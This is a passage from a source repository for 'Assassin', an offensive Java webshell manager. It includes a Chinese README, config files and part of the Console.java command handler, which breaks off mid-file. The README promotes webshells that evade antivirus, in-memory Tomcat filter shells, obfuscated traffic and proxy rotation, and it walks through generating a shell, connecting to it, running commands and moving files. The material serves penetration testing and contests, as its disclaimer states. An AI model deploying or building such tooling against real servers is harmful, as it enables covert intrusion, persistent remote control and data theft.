├── .gitignore ├── Assassin.jar ├── LICENSE ├── README.md ├── assets ├── 2021-11-23-14-26-25.png ├── 2021-11-23-14-27-20.png ├── 2021-11-23-16-26-42.png ├── 2021-11-23-16-47-25.png ├── 2021-11-23-16-51-06.png ├── 2021-11-23-17-08-53.png ├── 2021-11-23-17-12-14.png ├── 2021-11-23-17-18-56.png ├── 2021-11-23-18-22-07.png ├── 2021-11-23-18-26-04.png ├── 2021-11-23-19-52-59.png ├── 2021-11-23-19-53-56.png ├── 2021-11-23-20-00-26.png ├── 2021-11-23-20-06-56.png ├── 2021-11-23-20-08-19.png ├── 2021-11-23-20-14-14.png ├── 2021-11-23-20-25-16.png ├── 2021-11-23-20-27-15.png └── 2021-11-23-20-28-04.png ├── config.json ├── ipagents.txt ├── pom.xml ├── src └── main │ └── java │ └── org │ └── b1ackc4t │ ├── main │ ├── Console.java │ └── Main.java │ ├── payload │ └── java │ │ ├── Download.java │ │ ├── Print.java │ │ ├── Rce.java │ │ └── Upload.java │ ├── sender │ ├── Crypt.java │ ├── PayloadClassVisitor.java │ ├── PayloadGenerator.java │ ├── PayloadMethodVisitor.java │ └── Sender.java │ ├── util │ ├── Cmd.java │ ├── Command.java │ ├── Config.java │ ├── DBManager.java │ └── Utils.java │ └── webshell │ └── JavaTemplate.java ├── startup.bat ├── startup.sh ├── useragents.txt └── webshell └── java ├── common.txt ├── tomcat7_filter.txt ├── tomcat8_filter.txt └── tomcat9_filter.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # Project exclude paths 2 | /out/ 3 | /target/ -------------------------------------------------------------------------------- /Assassin.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/Assassin.jar -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Assassin 2 | 3 | >Assassin是一款精简的基于命令行的webshell管理工具,它有着多种payload发送方式和编码方式,以及精简的payload代码,使得它成为隐蔽的暗杀者,难以被很好的防御。 4 | 5 | 工具短小精悍,生成的webshell能够过常见杀软,尽量减少了连接后交互的流量特征,具体payload发送方式均可自定义。由于个人精力有限,~~因为懒而且菜~~,服务端暂时仅支持Java。 6 | 7 | **声明:主要面向网络安全人员已授权的合法渗透或学生AWD等比赛使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担** 8 | 9 | ## 特点 10 | 11 | **[1]** 生成的webshell能过常见杀软(webshell模板可以自定义修改) 12 | 13 | **[2]** webshell仅1kb大小,客户端与服务端同类通信仅需加载一次字节码,后续流量只传送命令。 14 | 15 | **[3]** payload能够以get、post、cookie、mixed四种方式发送,可动态修改,流量迷惑性较强 16 | 17 | **[4]** 客户端与服务端交互流量支持多种编码方式,可动态修改 18 | 19 | **[5]** payload发送的参数名以及数量均可自定义,支持随机ip代理和user-agent 20 | 21 | ## 软件截图 22 | 23 | 软件类似于MSF的操作模式 24 | 25 | ![](assets/2021-11-23-14-26-25.png) 26 | 27 | ![](assets/2021-11-23-16-26-42.png) 28 | 29 | ![](assets/2021-11-23-16-47-25.png) 30 | 31 | 32 | ## 发送的payload流量示例 33 | 34 | ![](assets/2021-11-23-18-26-04.png) 35 | 36 | cookie: 37 | ![](assets/2021-11-23-16-51-06.png) 38 | 39 | post: 40 | ![](assets/2021-11-23-17-08-53.png) 41 | 42 | mixed: 43 | ![](assets/2021-11-23-17-12-14.png) 44 | 45 | get: 46 | ![](assets/2021-11-23-17-18-56.png) 47 | 48 | 除了cookie方式,get、post、mixed可以在已经建立连接后动态修改发送方式,无需更改服务端 49 | 50 | 请求编码: 51 | 1. base64 52 | 2. base36 53 | 3. hex 54 | 55 | 响应编码: 56 | 1. base64 57 | 2. raw 58 | 3. base36 59 | 4. hex 60 | 61 | 其中响应的编码方式可以动态修改 62 | 63 | ## 使用教程 64 | 65 | ### 适用版本 66 | 67 | 服务端:jre 1.5及以上 68 | 69 | 客户端:jdk 1.8及以上 70 | 71 | ### 配置文件 72 | 73 | ```json lines 74 | { 75 | "paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"], 76 | // get、post、mixed请求参数名的随机池 77 | "cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"], 78 | // cookie请求参数名的随机池 79 | "headers":{ 80 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 81 | "Accept-Encoding":"gzip, deflate, br", 82 | "Accept-Language":"Accept-Language: zh-CN,zh;q=0.9", 83 | "Upgrade-Insecure-Requests": "1" 84 | }, 85 | // http头部 86 | "partNum": 3, 87 | // payload首次发送的分块数量 88 | "argNum": 5, 89 | // 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数 90 | "startRandomUserAgent": false, 91 | // 是否随机useragent 92 | "startIpAgents": false, 93 | // 是否开启ip池代理模式 94 | "startColor": true 95 | // 是否启用命令行颜色 96 | } 97 | ``` 98 | 99 | 随机useragent采用./useragents.txt里的useragent,开启后每次请求都会更换useragent,一般配合ip代理使用,关闭时是每次用session命令启动一个webshell会话一个useragent。 100 | 101 | ip代理池使用./ipagents.txt,格式为```ip:posr;username:password```,不需要认证的话```ip:port```就可以了,开启后每次请求会从中选择一个代理。 102 | 103 | **Tip:windows用户启动后乱码请关闭"startColor",或者使用Windows Terminal启动** 104 | 105 | ### 帮助信息 106 | 107 | 所有命令使用都比较简单,可以通过help命令查看参数 108 | 109 | ![](assets/2021-11-23-19-52-59.png) 110 | 111 | ```help [command]``` 查看具体命令的帮助 112 | 113 | ![](assets/2021-11-23-19-53-56.png) 114 | 115 | ### 实例 116 | 117 | 用startup.bat或startup.sh启动 118 | 119 | ```bash 120 | new java 123 cookie 121 | # 生成密码为123 发送方式为cookie的普通jsp木马 122 | new java pass post reqEncode=base36 tamper=tomcat9_filter 123 | # 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 124 | ``` 125 | **Tips:add和new命令参数比较多,中括号包裹的可选参数还可以用key=value的方式赋值** 126 | 127 | 之后会弹出窗口选择保存位置 128 | 129 | ![](assets/2021-11-23-20-00-26.png) 130 | 131 | 将webshell上到目标服务器 132 | 133 | ```bash 134 | add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36 135 | # 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 136 | ``` 137 | ```show```查看ID号 138 | ![](assets/2021-11-23-20-06-56.png) 139 | 140 | ```session 1```连接webshell 141 | 142 | ![](assets/2021-11-23-20-08-19.png) 143 | 144 | 看到提示符发生变化就可以执行webshell controller commands的命令了! 145 | ```bash 146 | Assassin|java >getshell 147 | Assassin|java|C:\apache-tomcat-9.0.54\bin >dir 148 | ``` 149 | 150 | 上传文件 151 | 152 | ```bash 153 | upload # 没参数默认传到当前目录 154 | ``` 155 | 156 | ![](assets/2021-11-23-20-25-16.png) 157 | 158 | 选择文件即可上传 159 | 160 | ```download ./test.txt```同理 161 | 162 | ![](assets/2021-11-23-20-27-15.png) 163 | 164 | ![](assets/2021-11-23-20-28-04.png) 165 | 166 | ### 编写webshell模板tamper 167 | 168 | ![](assets/2021-11-23-20-14-14.png) 169 | 170 | 第一个部分用{@key}填充,代表 webshell密码 171 | 172 | 第二个部分用{@getvalue}填充,代表 获取请求payload的代码 173 | 174 | 第三个部分用{@decode}填充,代表 解码代码 175 | 176 | 模板如下: 177 | 178 | ```java 179 | String k="{@key}";// aes密钥 123456 md5的前16位 180 | String r = ""; //密文payload存放位置,这个参数名必须为r,其他的无所谓 181 | // 取密文 182 | {@getvalue} 183 | byte[] cText = {@decode}; 184 | ``` 185 | 186 | 其他主要逻辑不改,就可以成功连接。 187 | 188 | **实例** 189 | 190 | 请看webshell/java/下的tomcat的filter内存马模板 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | -------------------------------------------------------------------------------- /assets/2021-11-23-14-26-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-14-26-25.png -------------------------------------------------------------------------------- /assets/2021-11-23-14-27-20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-14-27-20.png -------------------------------------------------------------------------------- /assets/2021-11-23-16-26-42.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-26-42.png -------------------------------------------------------------------------------- /assets/2021-11-23-16-47-25.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-47-25.png -------------------------------------------------------------------------------- /assets/2021-11-23-16-51-06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-16-51-06.png -------------------------------------------------------------------------------- /assets/2021-11-23-17-08-53.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-08-53.png -------------------------------------------------------------------------------- /assets/2021-11-23-17-12-14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-12-14.png -------------------------------------------------------------------------------- /assets/2021-11-23-17-18-56.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-17-18-56.png -------------------------------------------------------------------------------- /assets/2021-11-23-18-22-07.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-18-22-07.png -------------------------------------------------------------------------------- /assets/2021-11-23-18-26-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-18-26-04.png -------------------------------------------------------------------------------- /assets/2021-11-23-19-52-59.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-19-52-59.png -------------------------------------------------------------------------------- /assets/2021-11-23-19-53-56.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-19-53-56.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-00-26.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-00-26.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-06-56.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-06-56.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-08-19.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-08-19.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-14-14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-14-14.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-25-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-25-16.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-27-15.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-27-15.png -------------------------------------------------------------------------------- /assets/2021-11-23-20-28-04.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b1ackc4t/Assassin/94df3767e158022fabb70cb4f61f2dafcfbf1721/assets/2021-11-23-20-28-04.png -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "paramNames": ["user", "file", "id", "eid", "wd", "ie", "oq", "name", "son"], 3 | "cookieNames": ["fid", "uuid", "eid", "home", "ief", "fl", "oop"], 4 | "headers":{ 5 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 6 | "Accept-Encoding":"gzip, deflate, br", 7 | "Accept-Language":"Accept-Language: zh-CN,zh;q=0.9", 8 | "Upgrade-Insecure-Requests": "1" 9 | }, 10 | "partNum": 3, 11 | "argNum": 5, 12 | "startRandomUserAgent": false, 13 | "startIpAgents": false, 14 | "startColor": true 15 | } -------------------------------------------------------------------------------- /ipagents.txt: -------------------------------------------------------------------------------- 1 | 10.100.100.1:8080;username:password 2 | 10.100.100.2:5050;username:password -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.blackcat 8 | Blackcat 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | 9.0 15 | 16 | 17 | 18 | 19 | 20 | org.junit.jupiter 21 | junit-jupiter-api 22 | 5.7.2 23 | test 24 | 25 | 26 | 27 | org.xerial 28 | sqlite-jdbc 29 | 3.34.0 30 | 31 | 32 | 33 | javax.servlet 34 | javax.servlet-api 35 | 4.0.1 36 | provided 37 | 38 | 39 | org.ow2.asm 40 | asm 41 | ${asm.version} 42 | 43 | 44 | 45 | com.alibaba 46 | fastjson 47 | 1.2.78 48 | 49 | 50 | 51 | org.apache.tomcat 52 | tomcat-catalina 53 | 9.0.54 54 | 55 | 56 | 57 | -------------------------------------------------------------------------------- /src/main/java/org/b1ackc4t/main/Console.java: -------------------------------------------------------------------------------- 1 | package org.b1ackc4t.main; 2 | 3 | import com.alibaba.fastjson.JSONObject; 4 | 5 | import java.io.File; 6 | import java.nio.charset.Charset; 7 | import java.nio.charset.StandardCharsets; 8 | import java.sql.SQLException; 9 | import java.util.*; 10 | 11 | import org.b1ackc4t.sender.Crypt; 12 | import org.b1ackc4t.util.*; 13 | import org.b1ackc4t.sender.Sender; 14 | import org.b1ackc4t.webshell.JavaTemplate; 15 | 16 | import javax.swing.JFileChooser; 17 | 18 | public class Console extends Cmd { 19 | 20 | private DBManager db; 21 | private int session_id; 22 | private Sender sender; 23 | private final String label; 24 | private String current_path; 25 | private String os; 26 | private String pathSep; 27 | private String type; 28 | private final String[] commands = {"Hello","Add","Help","Show","Delete","Session","Back", "Getshell", "Upload", "Download", "Reset", "New", "Set"}; 29 | private final Map headers; 30 | 31 | 32 | public Console() { 33 | super(); 34 | db = DBManager.db; 35 | headers = Config.headers; 36 | label = "Assassin"; 37 | prompt = label + " >"; 38 | session_id = 0; 39 | current_path = ""; 40 | } 41 | 42 | public boolean doHello(String[] args, Map kwargs) { 43 | System.out.println("hello"); 44 | return false; 45 | } 46 | 47 | /** 48 | * 添加一个webshell 49 | * @param args 50 | * @return 51 | */ 52 | public boolean doAdd(String[] args, Map kwargs) { 53 | if (args == null || args.length < 2) { 54 | System.out.println("too few arguments"); 55 | return false; 56 | } 57 | 58 | String shell_url = args[0]; 59 | String pass = args[1]; 60 | String type = (args.length > 2) ? args[2] : "java"; 61 | String method = (args.length > 3) ? args[3] : "post"; 62 | String reqEncode = (args.length > 4) ? args[4] : "base64"; 63 | String resEncode = (args.length > 5) ? args[5] : "base64"; 64 | String note = (args.length > 6) ? args[6] : ""; 65 | type = kwargs.getOrDefault("type", type); 66 | method = kwargs.getOrDefault("method", method); 67 | reqEncode = kwargs.getOrDefault("reqencode", reqEncode); 68 | resEncode = kwargs.getOrDefault("resencode", resEncode); 69 | note = kwargs.getOrDefault("note", note); 70 | Sender sender_temp = new Sender(shell_url, pass, type, method, headers); 71 | sender_temp.reqEncode = reqEncode; 72 | sender_temp.resEncode = resEncode; 73 | if (db.isExist(shell_url)){ 74 | System.out.println("webshell already exists"); 75 | return false; 76 | } 77 | if (sender_temp.testCon()) { 78 | try { 79 | db.addWebshell(shell_url, pass, type, method, reqEncode, resEncode, note); 80 | int id_temp = db.getEndID(); 81 | db.changeShell(id_temp, "status", "1"); 82 | System.out.println("OK"); 83 | } catch (SQLException | ClassNotFoundException e) { 84 | e.printStackTrace(); 85 | } 86 | } else { 87 | System.out.println("Connection Failure"); 88 | } 89 | return false; 90 | } 91 | 92 | /** 93 | * 展示所有webshell列表 94 | * @param args 95 | * @return 96 | */ 97 | public boolean doShow(String[] args, Map kwargs) { 98 | try { 99 | db.showAll(); 100 | } catch (ClassNotFoundException | SQLException e) { 101 | e.printStackTrace(); 102 | } 103 | return false; 104 | } 105 | 106 | public boolean doDelete(String[] args, Map kwargs) { 107 | if (args == null || args.length < 1) { 108 | System.out.println("too few arguments"); 109 | return false; 110 | } 111 | int id = Integer.parseInt(args[0]); 112 | try { 113 | db.deleteWebShell(id); 114 | System.out.println("OK"); 115 | } catch (SQLException | ClassNotFoundException e) { 116 | System.out.println("ID does not exist"); 117 | } 118 | return false; 119 | } 120 | 121 | public boolean doSet(String[] args, Map kwargs) { 122 | if (args == null || args.length < 3) { 123 | System.out.println("too few arguments"); 124 | return false; 125 | } 126 | int id = Integer.parseInt(args[0]); 127 | String key = args[1]; 128 | String newValue = args[2]; 129 | if (db.changeShell(id, key, newValue)) { 130 | System.out.println("OK"); 131 | } else { 132 | System.out.println("fail"); 133 | } 134 | return false; 135 | } 136 | 137 | /** 138 | * 展示帮助信息 139 | * @param args 140 | * @return 141 | */ 142 | public boolean doHelp(String[] args, Map kwargs) { 143 | 144 | if (args != null && args.length > 0) { 145 | switch (args[0]) { 146 | case "new": 147 | System.out.println("Usage:"); 148 | System.out.println("\t" + Config.getYColor("new")+ " java|php|asp password [method] [reqEncode] [tamper]"); 149 | System.out.println("================================================="); 150 | System.out.println("generate webshell, only java temporarily"); 151 | System.out.println(Config.getYColor("method:") + " Sending mode of payload(value: get|post|mixed|cookie)"); 152 | System.out.println(Config.getYColor("reqEncode:") + " request encoding(value: hex|base36|base64_1|base64_2)"); 153 | System.out.println("\tbase64_1 only support server java version <= 1.8"); 154 | System.out.println(Config.getYColor("tamper:") + " Predefined template"); 155 | System.out.format("%15s%s --%s%n", "value: ", "common.txt (default)", "common webshell"); 156 | System.out.format("%15s%s --%s%n", "", "tomcat7_filter.txt", "memory webshell for tomcat7"); 157 | System.out.format("%15s%s --%s%n", "", "tomcat8_filter.txt", "memory webshell for tomcat8"); 158 | System.out.format("%15s%s --%s%n", "", "tomcat9_filter.txt", "memory webshell for tomcat9"); 159 | System.out.format("%15s%s%n", "", "You can write your own tamper in './webshell'"); 160 | System.out.println("================================================="); 161 | System.out.println("Example:"); 162 | System.out.println("\t" + Config.getYColor("new") + " java 123456 post reqEncode=base36"); 163 | break; 164 | case "upload": 165 | System.out.println("Usage:"); 166 | System.out.println("\t" + Config.getYColor("upload") + " [remotePath]"); 167 | System.out.println("================================================="); 168 | System.out.println("Upload the file to the server, can only be used after obtaining session."); 169 | System.out.println(Config.getYColor("remotePath:") + " Server target filepath(default: Current path)"); 170 | System.out.println("================================================="); 171 | System.out.println("Example:"); 172 | System.out.println("\t" + Config.getYColor("upload") + " /var/www/html/1.txt"); 173 | break; 174 | case "download": 175 | System.out.println("Usage:"); 176 | System.out.println("\t" + Config.getYColor("download") + " remotePath"); 177 | System.out.println("================================================="); 178 | System.out.println("Download the server file, can only be used after obtaining session."); 179 | System.out.println(Config.getYColor("remotePath:") + " Server target filepath"); 180 | System.out.println("================================================="); 181 | System.out.println("Example:"); 182 | System.out.println("\t" + Config.getYColor("download") + " /var/www/html/1.txt"); 183 | break; 184 | case "add": 185 | System.out.println("Usage:"); 186 | System.out.format("\t" + Config.getYColor("add")); 187 | System.out.println(" url password [type] [method] [reqEncode] [resEncode] [note]"); 188 | System.out.println("================================================="); 189 | System.out.println("add a webshell to db"); 190 | System.out.println(Config.getYColor("url:") + " target webshell url"); 191 | System.out.println(Config.getYColor("password:") + " target webshell password"); 192 | System.out.println(Config.getYColor("type:") + " webshell type(default: java;value: java)"); 193 | System.out.println(Config.getYColor("method:") + " Payload sending mode(default: post;value: get|post|mixed|cookie)"); 194 | System.out.println(Config.getYColor("reqEncode:") + " Payload request encoding(default: base64;value: hex|base36|base64)"); 195 | System.out.println(Config.getYColor("resEncode:") + " Payload response encoding(default: base64;value: raw|hex|base36|base64)"); 196 | System.out.println("================================================="); 197 | System.out.println("Example:"); 198 | System.out.format("\t" + Config.getYColor("add")); 199 | System.out.println(" http://127.0.0.1/a.jsp 123 java get hex"); 200 | System.out.format("\t" + Config.getYColor("add")); 201 | System.out.println(" http://127.0.0.1/a.jsp 123 java method=cookie resEncode=base36"); 202 | break; 203 | case "session": 204 | System.out.println("Usage:"); 205 | System.out.println("\t" + Config.getYColor("session") + " id"); 206 | System.out.println("================================================="); 207 | System.out.println("Enter a webshell operation mode."); 208 | System.out.println(Config.getYColor("id:") + " webshell id (tip: exec 'show')"); 209 | System.out.println("================================================="); 210 | System.out.println("Example:"); 211 | System.out.println("\t" + Config.getYColor("session") + " 1"); 212 | break; 213 | case "set": 214 | System.out.println("Usage:"); 215 | System.out.println("\t" + Config.getYColor("set") + " id key value"); 216 | System.out.println("================================================="); 217 | System.out.println("modify params of webshell of 